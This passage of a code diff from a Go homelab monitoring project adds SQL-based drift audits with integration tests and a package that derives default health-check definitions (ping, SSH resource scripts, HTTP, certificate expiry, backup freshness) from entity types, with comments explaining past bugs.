TotalFindings int `json:"total_findings"`
|
||||||
|
ByCategory map[string]int `json:"by_category"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// Report runs every drift check and returns the findings plus a summary.
|
||||||
|
func Report(ctx context.Context, pool *db.Pool) ([]Finding, Summary) {
|
||||||
|
specs := []struct {
|
||||||
|
finding Finding
|
||||||
|
query string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
Finding{Category: "orphan_checks", Severity: "warning",
|
||||||
|
Evidence: "check entities with truncated/random slugs (legacy shortSlug bug), no live target",
|
||||||
|
SuggestedRunbook: "scripts/cleanup-orphan-checks.sh"},
|
||||||
|
`SELECT e.slug FROM entities e
|
||||||
|
WHERE e.type = 'check'
|
||||||
|
AND e.slug ~ '^check:(ping|ssh-script|disk):[0-9a-f]{8}$'`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Finding{Category: "dead_checks", Severity: "warning",
|
||||||
|
Evidence: "enabled check_defs whose target entity is deprecated/destroyed",
|
||||||
|
SuggestedRunbook: "lifecycle-deprecate-node / lifecycle-destroy-node"},
|
||||||
|
`SELECT e.slug FROM check_defs cd
|
||||||
|
JOIN entities e ON e.id = cd.entity_id
|
||||||
|
JOIN entities tgt ON tgt.id = cd.target_id
|
||||||
|
WHERE cd.enabled AND tgt.state IN ('deprecated','destroyed')`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Finding{Category: "down_checks", Severity: "critical",
|
||||||
|
Evidence: "enabled checks reporting health=down",
|
||||||
|
SuggestedRunbook: "service-health-check"},
|
||||||
|
`SELECT e.slug FROM check_defs cd JOIN entities e ON e.id = cd.entity_id
|
||||||
|
WHERE cd.enabled AND cd.last_health = 'down'`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Finding{Category: "unknown_checks", Severity: "warning",
|
||||||
|
Evidence: "enabled checks that ran but reported health=unknown (likely misconfigured probe)",
|
||||||
|
SuggestedRunbook: "knowledge-graph-audit"},
|
||||||
|
`SELECT e.slug FROM check_defs cd JOIN entities e ON e.id = cd.entity_id
|
||||||
|
WHERE cd.enabled AND cd.last_health = 'unknown'`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Finding{Category: "unmonitored", Severity: "warning",
|
||||||
|
Evidence: "active entities whose type declares monitoring but have no enabled check_def",
|
||||||
|
SuggestedRunbook: "knowledge-graph-audit"},
|
||||||
|
`SELECT DISTINCT e.slug FROM signals sg
|
||||||
|
JOIN entities e ON e.id = sg.target_entity_id
|
||||||
|
WHERE sg.kind = 'unmonitored' AND sg.state IN ('raised','acknowledged','acting')`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Finding{Category: "dangling_edges", Severity: "warning",
|
||||||
|
Evidence: "live relationships (hosts/provides/mounts) pointing at destroyed/deprecated targets",
|
||||||
|
SuggestedRunbook: "lifecycle-destroy-node"},
|
||||||
|
`SELECT src.slug || ' -' || r.type || '-> ' || tgt.slug FROM relationships r
|
||||||
|
JOIN entities src ON src.id = r.source_id
|
||||||
|
JOIN entities tgt ON tgt.id = r.target_id
|
||||||
|
WHERE r.valid_to IS NULL
|
||||||
|
AND src.state NOT IN ('destroyed','deprecated')
|
||||||
|
AND tgt.state IN ('destroyed','deprecated')`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Finding{Category: "polluted_attrs", Severity: "warning",
|
||||||
|
Evidence: "routing-critical attributes carrying prose (breaks resolution) — e.g. host='hubris (confirmed via pct…')",
|
||||||
|
SuggestedRunbook: "knowledge-graph-audit"},
|
||||||
|
`SELECT slug || ': host=' || (attributes->>'host') FROM entities
|
||||||
|
WHERE attributes->>'host' IS NOT NULL
|
||||||
|
AND (attributes->>'host') ~ '[ (]'`,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
findings := make([]Finding, 0, len(specs))
|
||||||
|
summary := Summary{ByCategory: map[string]int{}}
|
||||||
|
for _, sp := range specs {
|
||||||
|
f := runFinding(ctx, pool, sp.finding, sp.query)
|
||||||
|
findings = append(findings, f)
|
||||||
|
summary.TotalFindings += f.Count
|
||||||
|
summary.ByCategory[f.Category] = f.Count
|
||||||
|
}
|
||||||
|
return findings, summary
|
||||||
|
}
|
||||||
|
|
||||||
|
const entityCap = 50
|
||||||
|
|
||||||
|
// runFinding runs a single-column slug query and folds the rows into a Finding.
|
||||||
|
func runFinding(ctx context.Context, pool *db.Pool, f Finding, query string) Finding {
|
||||||
|
rows, err := pool.Query(ctx, query)
|
||||||
|
if err != nil {
|
||||||
|
f.Evidence = f.Evidence + " (query error: " + err.Error() + ")"
|
||||||
|
return f
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
for rows.Next() {
|
||||||
|
var slug string
|
||||||
|
if err := rows.Scan(&slug); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
f.Count++
|
||||||
|
if len(f.Entities) < entityCap {
|
||||||
|
f.Entities = append(f.Entities, slug)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return f
|
||||||
|
}
|
||||||
69
internal/audit/audit_test.go
Normal file
69
internal/audit/audit_test.go
Normal file
@@ -0,0 +1,69 @@
|
|||||||
|
package audit
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Integration tests against a real Postgres, guarded by
|
||||||
|
// OIKOS_TEST_DATABASE_URL (same convention as internal/scheduler).
|
||||||
|
|
||||||
|
func newAuditPool(t *testing.T) *db.Pool {
|
||||||
|
t.Helper()
|
||||||
|
base := getenvOrDefault("OIKOS_TEST_DATABASE_URL", "")
|
||||||
|
if base == "" {
|
||||||
|
t.Skip("OIKOS_TEST_DATABASE_URL not set — skipping integration test")
|
||||||
|
}
|
||||||
|
return createTestDB(t, base)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestReportFlagsOrphanAndDeadAndDown(t *testing.T) {
|
||||||
|
pool := newAuditPool(t)
|
||||||
|
ctx := context.Background()
|
||||||
|
|
||||||
|
// An orphan check entity (truncated random slug, the legacy bug shape).
|
||||||
|
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||||
|
VALUES ($1,'check:ssh-script:0d31fdd1','check','check:ssh-script:0d31fdd1','active','{}'::jsonb,1,now(),now())`, uuid.New())
|
||||||
|
|
||||||
|
// An active entity + a check_def on it stuck down.
|
||||||
|
target := uuid.New()
|
||||||
|
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||||
|
VALUES ($1,'service:demo','service','demo','active','{}'::jsonb,1,now(),now())`, target)
|
||||||
|
checkE := uuid.New()
|
||||||
|
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||||
|
VALUES ($1,'check:http:service:demo:0','check','c','active','{}'::jsonb,1,now(),now())`, checkE)
|
||||||
|
mustExec(t, pool, ctx, `INSERT INTO check_defs (entity_id, target_id, target_type, kind, config, interval_s, timeout_s, enabled, last_run_at, last_health)
|
||||||
|
VALUES ($1,$2,'service','http','{}'::jsonb,60,30,true,now(),'down')`, checkE, target)
|
||||||
|
|
||||||
|
// A deprecated entity still carrying an enabled check (dead_checks).
|
||||||
|
dep := uuid.New()
|
||||||
|
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||||
|
VALUES ($1,'service:old','service','old','deprecated','{}'::jsonb,1,now(),now())`, dep)
|
||||||
|
depCheck := uuid.New()
|
||||||
|
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||||
|
VALUES ($1,'check:http:service:old:0','check','c','active','{}'::jsonb,1,now(),now())`, depCheck)
|
||||||
|
mustExec(t, pool, ctx, `INSERT INTO check_defs (entity_id, target_id, target_type, kind, config, interval_s, timeout_s, enabled, last_run_at)
|
||||||
|
VALUES ($1,$2,'service','http','{}'::jsonb,60,30,true,now())`, depCheck, dep)
|
||||||
|
|
||||||
|
findings, summary := Report(ctx, pool)
|
||||||
|
|
||||||
|
byCat := map[string]int{}
|
||||||
|
for _, f := range findings {
|
||||||
|
byCat[f.Category] = f.Count
|
||||||
|
}
|
||||||
|
if byCat["orphan_checks"] < 1 {
|
||||||
|
t.Errorf("orphan_checks = %d, want >=1", byCat["orphan_checks"])
|
||||||
|
}
|
||||||
|
if byCat["down_checks"] < 1 {
|
||||||
|
t.Errorf("down_checks = %d, want >=1", byCat["down_checks"])
|
||||||
|
}
|
||||||
|
if byCat["dead_checks"] < 1 {
|
||||||
|
t.Errorf("dead_checks = %d, want >=1", byCat["dead_checks"])
|
||||||
|
}
|
||||||
|
if summary.TotalFindings < 3 {
|
||||||
|
t.Errorf("TotalFindings = %d, want >=3", summary.TotalFindings)
|
||||||
|
}
|
||||||
|
}
|
||||||
67
internal/audit/testutil_test.go
Normal file
67
internal/audit/testutil_test.go
Normal file
@@ -0,0 +1,67 @@
|
|||||||
|
package audit
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"math/rand"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db"
|
||||||
|
"github.com/jackc/pgx/v5"
|
||||||
|
)
|
||||||
|
|
||||||
|
// createTestDB provisions a throwaway migrated database, same convention as
|
||||||
|
// internal/scheduler/coverage_test.go.
|
||||||
|
func createTestDB(t *testing.T, baseURL string) *db.Pool {
|
||||||
|
t.Helper()
|
||||||
|
ctx := context.Background()
|
||||||
|
|
||||||
|
admin, err := pgx.Connect(ctx, baseURL)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("connect admin: %v", err)
|
||||||
|
}
|
||||||
|
dbName := fmt.Sprintf("oikos_aud_%08x", rand.Int63())
|
||||||
|
if _, err := admin.Exec(ctx, "CREATE DATABASE "+dbName); err != nil {
|
||||||
|
admin.Close(ctx)
|
||||||
|
t.Fatalf("create test db: %v", err)
|
||||||
|
}
|
||||||
|
admin.Close(ctx)
|
||||||
|
|
||||||
|
at := strings.LastIndex(baseURL, "/")
|
||||||
|
testURL := baseURL[:at+1] + dbName
|
||||||
|
if q := strings.Index(baseURL[at:], "?"); q >= 0 {
|
||||||
|
testURL += baseURL[at+q:]
|
||||||
|
}
|
||||||
|
|
||||||
|
pool, err := db.New(ctx, testURL)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("connect test db: %v", err)
|
||||||
|
}
|
||||||
|
if err := pool.Migrate(ctx); err != nil {
|
||||||
|
t.Fatalf("migrate: %v", err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() {
|
||||||
|
pool.Close()
|
||||||
|
if admin, err := pgx.Connect(ctx, baseURL); err == nil {
|
||||||
|
admin.Exec(ctx, "DROP DATABASE IF EXISTS "+dbName+" WITH (FORCE)")
|
||||||
|
admin.Close(ctx)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
return pool
|
||||||
|
}
|
||||||
|
|
||||||
|
func getenvOrDefault(key, def string) string {
|
||||||
|
if v := os.Getenv(key); v != "" {
|
||||||
|
return v
|
||||||
|
}
|
||||||
|
return def
|
||||||
|
}
|
||||||
|
|
||||||
|
func mustExec(t *testing.T, pool *db.Pool, ctx context.Context, q string, args ...any) {
|
||||||
|
t.Helper()
|
||||||
|
if _, err := pool.Exec(ctx, q, args...); err != nil {
|
||||||
|
t.Fatalf("exec %s: %v", q, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,38 +1,522 @@
|
|||||||
|
// Package checkdefaults derives an entity's default check_defs from the
|
||||||
|
// monitoring kinds its type declares in seeds/ontology.yaml.
|
||||||
|
//
|
||||||
|
// The type says WHAT to watch (`service: [http, process]`); this package
|
||||||
|
// works out HOW — which concrete check_defs rows to write, and what host,
|
||||||
|
// script or URL each needs. Deriving config here rather than in YAML keeps
|
||||||
|
// the ontology declarative and keeps address resolution (which has to walk
|
||||||
|
// the graph) in code.
|
||||||
package checkdefaults
|
package checkdefaults
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"log/slog"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/ontology"
|
||||||
"github.com/google/uuid"
|
"github.com/google/uuid"
|
||||||
"github.com/jackc/pgx/v5"
|
"github.com/jackc/pgx/v5"
|
||||||
)
|
)
|
||||||
|
|
||||||
type CheckDef struct {
|
// Semantic monitoring kinds, as declared on entity types. These are not
|
||||||
Kind string
|
// check_defs.kind values — one semantic kind can expand to several concrete
|
||||||
Script string
|
// checks (`resource` becomes four ssh-script rows).
|
||||||
Host string
|
const (
|
||||||
User string
|
KindPing = "ping"
|
||||||
Port int
|
KindResource = "resource"
|
||||||
Thresholds map[string]any
|
KindUpdates = "updates"
|
||||||
Extra map[string]any
|
KindProcess = "process"
|
||||||
|
KindHTTP = "http"
|
||||||
|
KindCapacity = "capacity"
|
||||||
|
KindBackup = "backup-freshness"
|
||||||
|
KindCertExpiry = "cert-expiry"
|
||||||
|
KindVMStatus = "vm-status"
|
||||||
|
)
|
||||||
|
|
||||||
|
// defaultBackupMaxAge is how long a backup target may go without a new
|
||||||
|
// artifact before it is stale. A day suits the nightly jobs in this lab;
|
||||||
|
// override per target with `backup_max_age_s` in the entity's attributes.
|
||||||
|
const defaultBackupMaxAge = 86400
|
||||||
|
|
||||||
|
// Target is the entity default checks are being ensured for.
|
||||||
|
type Target struct {
|
||||||
|
ID uuid.UUID
|
||||||
|
Slug string
|
||||||
|
Type string
|
||||||
|
// Name is the entity's name column, not an attribute. The old code read
|
||||||
|
// attrs["name"], which is never populated — seeds put `name` beside
|
||||||
|
// `attributes`, not inside it — so every service silently produced no
|
||||||
|
// process check.
|
||||||
|
Name string
|
||||||
|
Attrs []byte
|
||||||
|
}
|
||||||
|
|
||||||
|
// Result reports what Ensure did, so callers can log a type that declared
|
||||||
|
// monitoring but produced nothing instead of failing silently.
|
||||||
|
type Result struct {
|
||||||
|
Created int
|
||||||
|
// Skipped records kinds that were declared but could not be built, with
|
||||||
|
// the reason. A non-empty Skipped on an active entity is a real gap.
|
||||||
|
Skipped []Skip
|
||||||
|
// Undeclared is true when no ancestor of the type declared monitoring —
|
||||||
|
// an ontology gap rather than a fleet gap.
|
||||||
|
Undeclared bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// Skip is one declared-but-unbuilt check kind.
|
||||||
|
type Skip struct {
|
||||||
|
Kind string
|
||||||
|
Reason string
|
||||||
|
}
|
||||||
|
|
||||||
|
type checkDef struct {
|
||||||
|
kind string
|
||||||
|
config map[string]any
|
||||||
|
interval int32
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ensure writes the default check_defs for one entity, idempotently.
|
||||||
|
//
|
||||||
|
// Returns the number of checks created. An entity whose type declares
|
||||||
|
// monitoring it cannot satisfy comes back with a populated Skipped rather
|
||||||
|
// than an error — a missing address is a modelling gap, not a failure of
|
||||||
|
// this call.
|
||||||
|
func Ensure(ctx context.Context, tx pgx.Tx, tree *ontology.TypeTree, t Target) (Result, error) {
|
||||||
|
var res Result
|
||||||
|
|
||||||
|
if _, err := tx.Exec(ctx,
|
||||||
|
`INSERT INTO entity_status (entity_id, health, updated_at)
|
||||||
|
VALUES ($1, 'unknown', now())
|
||||||
|
ON CONFLICT (entity_id) DO NOTHING`, t.ID); err != nil {
|
||||||
|
return res, fmt.Errorf("entity_status %s: %w", t.Slug, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
mon := tree.Monitoring(t.Type)
|
||||||
|
if !mon.Declared {
|
||||||
|
res.Undeclared = true
|
||||||
|
return res, nil
|
||||||
|
}
|
||||||
|
if mon.None() {
|
||||||
|
return res, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
var attrs map[string]any
|
||||||
|
if len(t.Attrs) > 0 {
|
||||||
|
_ = json.Unmarshal(t.Attrs, &attrs)
|
||||||
|
}
|
||||||
|
if attrs == nil {
|
||||||
|
attrs = map[string]any{}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Per-entity override: an explicit `monitoring` attribute wins over the
|
||||||
|
// type declaration. A single entity can opt out (monitoring: none) or pick
|
||||||
|
// different kinds without introducing a new type — e.g. service:haos opts
|
||||||
|
// out because its VM is already covered by a vm-status check and the
|
||||||
|
// service can't be SSH-probed (haos blocks SSH).
|
||||||
|
if mo, ok := attrs["monitoring"]; ok {
|
||||||
|
mon = resolveMonitoringAttr(mo, mon)
|
||||||
|
if mon.None() {
|
||||||
|
return res, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// A service has no address of its own — it lives on the container that
|
||||||
|
// provides it. Fall back to the graph before giving up.
|
||||||
|
host := resolveHost(attrs)
|
||||||
|
if host == "" {
|
||||||
|
hostAttrs, err := hostViaGraph(ctx, tx, t.ID)
|
||||||
|
if err != nil {
|
||||||
|
return res, fmt.Errorf("resolve host for %s: %w", t.Slug, err)
|
||||||
|
}
|
||||||
|
host = resolveHost(hostAttrs)
|
||||||
|
if user := resolveSSHUser(hostAttrs); host != "" && user != "root" {
|
||||||
|
attrs["ssh"] = hostAttrs["ssh"]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
user := resolveSSHUser(attrs)
|
||||||
|
port := resolveSSHPort(attrs)
|
||||||
|
|
||||||
|
var defs []checkDef
|
||||||
|
for _, kind := range mon.Kinds {
|
||||||
|
built, reason := buildKind(kind, t, attrs, host, user, port)
|
||||||
|
if len(built) == 0 {
|
||||||
|
res.Skipped = append(res.Skipped, Skip{Kind: kind, Reason: reason})
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
defs = append(defs, built...)
|
||||||
|
}
|
||||||
|
|
||||||
|
for i, def := range defs {
|
||||||
|
created, err := writeCheck(ctx, tx, t, i, def)
|
||||||
|
if err != nil {
|
||||||
|
return res, fmt.Errorf("check %s/%s: %w", t.Slug, def.kind, err)
|
||||||
|
}
|
||||||
|
if created {
|
||||||
|
res.Created++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return res, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// resolveMonitoringAttr turns an entity's `monitoring` attribute into a
|
||||||
|
// MonitoringResolution that overrides the type's declaration. Accepts the
|
||||||
|
// scalar "none" (or empty) to opt out, or a list of kind strings to override.
|
||||||
|
func resolveMonitoringAttr(v any, fallback ontology.MonitoringResolution) ontology.MonitoringResolution {
|
||||||
|
switch vv := v.(type) {
|
||||||
|
case string:
|
||||||
|
if vv == "none" || vv == "" {
|
||||||
|
return ontology.MonitoringResolution{Declared: true, Source: "attribute"}
|
||||||
|
}
|
||||||
|
case []any:
|
||||||
|
kinds := make([]string, 0, len(vv))
|
||||||
|
for _, k := range vv {
|
||||||
|
if s, ok := k.(string); ok && s != "" {
|
||||||
|
kinds = append(kinds, s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ontology.MonitoringResolution{Declared: true, Kinds: kinds, Source: "attribute"}
|
||||||
|
}
|
||||||
|
return fallback
|
||||||
|
}
|
||||||
|
|
||||||
|
// buildKind turns one declared semantic kind into concrete check_defs, or
|
||||||
|
// returns the reason it could not.
|
||||||
|
func buildKind(kind string, t Target, attrs map[string]any, host, user string, port int) ([]checkDef, string) {
|
||||||
|
ssh := func(script string, args ...string) checkDef {
|
||||||
|
cfg := map[string]any{"script": script, "host": host}
|
||||||
|
if user != "" && user != "root" {
|
||||||
|
cfg["user"] = user
|
||||||
|
}
|
||||||
|
if port != 0 && port != 22 {
|
||||||
|
cfg["port"] = port
|
||||||
|
}
|
||||||
|
if len(args) > 0 && args[0] != "" {
|
||||||
|
cfg["args"] = args[0]
|
||||||
|
}
|
||||||
|
return checkDef{kind: "ssh-script", config: cfg, interval: 60}
|
||||||
|
}
|
||||||
|
|
||||||
|
switch kind {
|
||||||
|
case KindPing:
|
||||||
|
if host == "" {
|
||||||
|
return nil, "no address on the entity or its host"
|
||||||
|
}
|
||||||
|
return []checkDef{{kind: "ping", config: map[string]any{"host": host}, interval: 30}}, ""
|
||||||
|
|
||||||
|
case KindResource:
|
||||||
|
if host == "" {
|
||||||
|
return nil, "no address on the entity or its host"
|
||||||
|
}
|
||||||
|
return []checkDef{
|
||||||
|
ssh("cpu_check.sh"), ssh("memory_check.sh"),
|
||||||
|
ssh("load_check.sh"), ssh("disk_usage_check.sh"),
|
||||||
|
}, ""
|
||||||
|
|
||||||
|
case KindUpdates:
|
||||||
|
if host == "" {
|
||||||
|
return nil, "no address on the entity or its host"
|
||||||
|
}
|
||||||
|
// Daily. updates_check.sh runs `apt update` against the distro
|
||||||
|
// mirrors; the shared 60s ssh-script default would have meant 1,440
|
||||||
|
// mirror hits per machine per day to answer a question whose answer
|
||||||
|
// changes about once a day.
|
||||||
|
u := ssh("updates_check.sh")
|
||||||
|
u.interval = 86400
|
||||||
|
return []checkDef{u}, ""
|
||||||
|
|
||||||
|
case KindCapacity:
|
||||||
|
if host == "" {
|
||||||
|
return nil, "no address on the entity or its host"
|
||||||
|
}
|
||||||
|
return []checkDef{ssh("disk_usage_check.sh")}, ""
|
||||||
|
|
||||||
|
case KindProcess:
|
||||||
|
if host == "" {
|
||||||
|
return nil, "no address on the entity or its host"
|
||||||
|
}
|
||||||
|
// A service's name is a logical label, not usually its systemd unit
|
||||||
|
// or container name (matrix = matrix-synapse.service + containers).
|
||||||
|
// Prefer an explicit probe target when declared; process_check.sh also
|
||||||
|
// matches a unit prefix or a docker container as a fallback.
|
||||||
|
unit := ""
|
||||||
|
for _, key := range []string{"probe_unit", "systemd_unit", "container"} {
|
||||||
|
if v, _ := attrs[key].(string); v != "" {
|
||||||
|
unit = v
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Ontology intent: "http when it has a url, else a process check." A
|
||||||
|
// url-fronted service is already liveness-probed via http (the real
|
||||||
|
// endpoint, through the TLS terminator); the process check is redundant
|
||||||
|
// and fragile (needs host access + the exact unit/container name), and
|
||||||
|
// under worst-of aggregation it lets a broken supplementary probe veto
|
||||||
|
// a working service. Emit it only for services WITHOUT a url, or when
|
||||||
|
// an explicit probe_unit opts into binary-level depth.
|
||||||
|
if unit == "" {
|
||||||
|
if httpURL(t, attrs) != "" {
|
||||||
|
return nil, "url present and no probe_unit; http check covers liveness"
|
||||||
|
}
|
||||||
|
unit = t.Name
|
||||||
|
}
|
||||||
|
if unit == "" {
|
||||||
|
return nil, "no name to check a process for"
|
||||||
|
}
|
||||||
|
// process_check.sh takes the unit/container name as $1 and reports
|
||||||
|
// "unknown" without it.
|
||||||
|
return []checkDef{ssh("process_check.sh", unit)}, ""
|
||||||
|
|
||||||
|
case KindBackup:
|
||||||
|
// A backup target is checked from the machine that writes to it, so it
|
||||||
|
// needs both an address (resolved via the backs-up-to edge) and the
|
||||||
|
// path to look at.
|
||||||
|
path, _ := attrs["path"].(string)
|
||||||
|
if path == "" {
|
||||||
|
return nil, "entity carries no path attribute to check for backups"
|
||||||
|
}
|
||||||
|
if host == "" {
|
||||||
|
return nil, "no address on the entity or whatever backs up to it"
|
||||||
|
}
|
||||||
|
maxAge := defaultBackupMaxAge
|
||||||
|
if v, ok := attrs["backup_max_age_s"].(float64); ok && v > 0 {
|
||||||
|
maxAge = int(v)
|
||||||
|
}
|
||||||
|
cfg := map[string]any{"path": path, "host": host, "max_age_s": maxAge}
|
||||||
|
if user != "" && user != "root" {
|
||||||
|
cfg["user"] = user
|
||||||
|
}
|
||||||
|
if port != 0 && port != 22 {
|
||||||
|
cfg["port"] = port
|
||||||
|
}
|
||||||
|
// Daily. The freshness budget itself is a day, so probing more often
|
||||||
|
// cannot surface anything sooner — it just costs an SSH round trip.
|
||||||
|
return []checkDef{{kind: "backup-freshness", config: cfg, interval: 86400}}, ""
|
||||||
|
|
||||||
|
case KindHTTP:
|
||||||
|
url := httpURL(t, attrs)
|
||||||
|
if url == "" {
|
||||||
|
return nil, "no url attribute, public_host, or hostname-shaped name"
|
||||||
|
}
|
||||||
|
// max_status rather than an exact expected_status: most services sit
|
||||||
|
// behind Authentik and answer 302/401, which is a working service.
|
||||||
|
return []checkDef{{
|
||||||
|
kind: "http",
|
||||||
|
config: map[string]any{"url": url, "max_status": 500},
|
||||||
|
interval: 60,
|
||||||
|
}}, ""
|
||||||
|
|
||||||
|
case KindCertExpiry:
|
||||||
|
// The host whose cert to read (SNI / cert CN). Prefer an explicit
|
||||||
|
// `hostname` attribute, then `cn`, then a dotted name. Hourly: expiry
|
||||||
|
// changes once a day, but a renewal or mis-issued cert is worth
|
||||||
|
// noticing within the hour.
|
||||||
|
host := certHost(t, attrs)
|
||||||
|
if host == "" {
|
||||||
|
return nil, "no hostname / cn / dotted name to dial for the cert"
|
||||||
|
}
|
||||||
|
// `dial` is the TLS terminator's address to connect to (Caddy's lab
|
||||||
|
// IP), used when the hostname doesn't resolve/reach from the scheduler.
|
||||||
|
// Without it the probe can't reach *.hubris.network from a container
|
||||||
|
// with no mesh / split-horizon DNS.
|
||||||
|
dial, _ := attrs["dial"].(string)
|
||||||
|
config := map[string]any{"host": host, "warn_days": 30, "crit_days": 7}
|
||||||
|
if dial != "" {
|
||||||
|
config["dial"] = dial
|
||||||
|
}
|
||||||
|
return []checkDef{{
|
||||||
|
kind: "cert-expiry",
|
||||||
|
config: config,
|
||||||
|
interval: 3600,
|
||||||
|
}}, ""
|
||||||
|
|
||||||
|
case KindVMStatus:
|
||||||
|
// "Is the VM powered on" via `qm status` on its Proxmox host — the
|
||||||
|
// right reachability probe for a VM, since many block ICMP and lack a
|
||||||
|
// guest agent. checkVMStatus re-reads pve_id + host at runtime.
|
||||||
|
if _, ok := attrs["pve_id"]; !ok {
|
||||||
|
return nil, "no pve_id to run qm status"
|
||||||
|
}
|
||||||
|
return []checkDef{{
|
||||||
|
kind: "vm-status",
|
||||||
|
config: map[string]any{},
|
||||||
|
interval: 60,
|
||||||
|
}}, ""
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil, "no builder for this kind yet"
|
||||||
|
}
|
||||||
|
|
||||||
|
// certHost works out the hostname to TLS-dial for a certificate's expiry.
|
||||||
|
func certHost(t Target, attrs map[string]any) string {
|
||||||
|
for _, key := range []string{"hostname", "cn", "san"} {
|
||||||
|
if v, ok := attrs[key].(string); ok && v != "" {
|
||||||
|
return v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// A dotted name is a hostname (hubris.network, media.hubris.network).
|
||||||
|
if strings.Contains(t.Name, ".") && !strings.Contains(t.Name, " ") {
|
||||||
|
return t.Name
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// writeCheck upserts one check_def and its backing check entity.
|
||||||
|
//
|
||||||
|
// The entity upsert MUST return the row's id. The previous version generated
|
||||||
|
// a fresh uuid, inserted ON CONFLICT (slug) DO NOTHING, then wrote a
|
||||||
|
// check_defs row referencing that uuid. On any re-seed the slug already
|
||||||
|
// existed, the entity insert became a no-op, and the check_defs insert
|
||||||
|
// violated its foreign key — which aborted the whole ingest transaction and
|
||||||
|
// made every subsequent statement fail with 25P02. Because the errors were
|
||||||
|
// discarded, the only visible symptom was an unrelated failure much later.
|
||||||
|
func writeCheck(ctx context.Context, tx pgx.Tx, t Target, idx int, def checkDef) (bool, error) {
|
||||||
|
// The full target slug, not a truncation of it. shortSlug() took the last
|
||||||
|
// 8 characters, so all 21 ingress routes collapsed to ".network" and
|
||||||
|
// generated one identical check slug — they overwrote each other and 20
|
||||||
|
// of them ended up with no check at all. It also collided service:jellyfin
|
||||||
|
// with lxc:jellyfin. Entity slugs are unique; use them.
|
||||||
|
checkSlug := fmt.Sprintf("check:%s:%s:%d", def.kind, t.Slug, idx)
|
||||||
|
|
||||||
|
newID, err := uuid.NewV7()
|
||||||
|
if err != nil {
|
||||||
|
newID = uuid.New()
|
||||||
|
}
|
||||||
|
|
||||||
|
var checkID uuid.UUID
|
||||||
|
err = tx.QueryRow(ctx,
|
||||||
|
`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||||
|
VALUES ($1, $2, 'check', $2, 'active', '{}', 1, now(), now())
|
||||||
|
ON CONFLICT (slug) DO UPDATE SET updated_at = now()
|
||||||
|
RETURNING id`,
|
||||||
|
newID, checkSlug).Scan(&checkID)
|
||||||
|
if err != nil {
|
||||||
|
return false, fmt.Errorf("upsert check entity %s: %w", checkSlug, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
configJSON, err := json.Marshal(def.config)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Config is derived from the seed, so the seed wins on re-ingest and
|
||||||
|
// attribute changes propagate. `enabled` is deliberately left alone: it
|
||||||
|
// is operational state an operator may have toggled.
|
||||||
|
// last_run_at is seeded to a random point inside the interval so checks
|
||||||
|
// created together do not stay in lockstep. Every check the seed creates
|
||||||
|
// would otherwise come due in the same instant forever: ~165 probes
|
||||||
|
// landing at once each minute rather than spread across it. Deliberately
|
||||||
|
// absent from the DO UPDATE below — a re-seed must not reset the schedule
|
||||||
|
// and re-herd everything.
|
||||||
|
tag, err := tx.Exec(ctx,
|
||||||
|
`INSERT INTO check_defs (entity_id, target_id, target_type, kind, config, interval_s, timeout_s, enabled, last_run_at)
|
||||||
|
VALUES ($1, $2, $6, $3, $4, $5, 30, true,
|
||||||
|
now() - make_interval(secs => random() * $5::int))
|
||||||
|
